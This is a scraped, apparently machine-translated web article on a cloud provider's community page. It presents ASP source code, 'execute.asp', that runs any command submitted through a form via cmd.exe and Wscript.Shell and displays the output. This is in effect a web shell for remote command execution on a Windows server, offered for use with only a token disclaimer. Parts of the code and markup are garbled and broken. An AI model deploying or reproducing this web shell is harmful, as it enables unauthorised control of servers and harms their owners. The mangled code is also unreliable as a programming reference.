Can be this line of System command ASP source code relaxed

Source: Internet
Author: User

Note that the program must be run with FileSystemObject support. The following is the original code for the Remote execution command.
Copy down to save as execute.asp.



Execute Command

Text-decoration:none}
a:hover{font-family: XXFarEastFont-Color:rgb (255,0,0); text-decoration:none

}
a:visited{Color:rgb (128,0,0)}
-->

Size= "value=" dir c:\ "style=" Background-color: #C0C0C0; Color

#000000; Border-style:solid; Border-width:1 ">

#C0C0C0; Color: #000000; Border:1 Groove #C0C0C0 ">



<%
Ml=request.form ("ml")
Cmd= "c:\winnt\system32\cmd.exe/c" &ml& ">c:\whoami.txt" modified

WhoamI.txt path to a directory with write permissions
Set WshShell = Server.CreateObject ("Wscript.Shell")
RetCode = Wshshell.run (cmd, 1, True)
If RetCode = 0 Then
Response.Write ml & ""
Response.Write "Command executed successfully! "&"


Else
Response.Write Command Execution failed! Insufficient permissions or the program cannot run in DOS

! "&"

End If
' Response.Write cmd

function HTMLEncode (str)
Dim result
Dim l
If IsNULL (str) Then
Htmlencode= ""
Exit function
End If
L=len (str)
Result= ""
Dim i
For i = 1 to L
Select Case Mid (str,i,1)
Case ""
"Result=result+"
Case ">"
Result=result+ ">"
Case Chr (34)
result=result+ "" "
Case "&"
result=result+ "&"
Case Else
Result=result+mid (str,i,1)
End Select
Next
Htmlencode=result
End Function
Set FS =createobject ("Scripting.FileSystemObject")
Set thisfile = fs. OpenTextFile ("C:/whoami.txt", 1, False) read the file, don't forget

The modified path.
Counter=0
Do as not Thisfile.atendofstream
Counter=counter+1
Thisline=htmlencode (Thisfile.readline)
Response.Write thisline& "
"
Loop
Thisfile. Close
Set fs=nothing
%>

Do not use this procedure for illegal means, and all consequences arising therefrom shall be borne by the user.



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.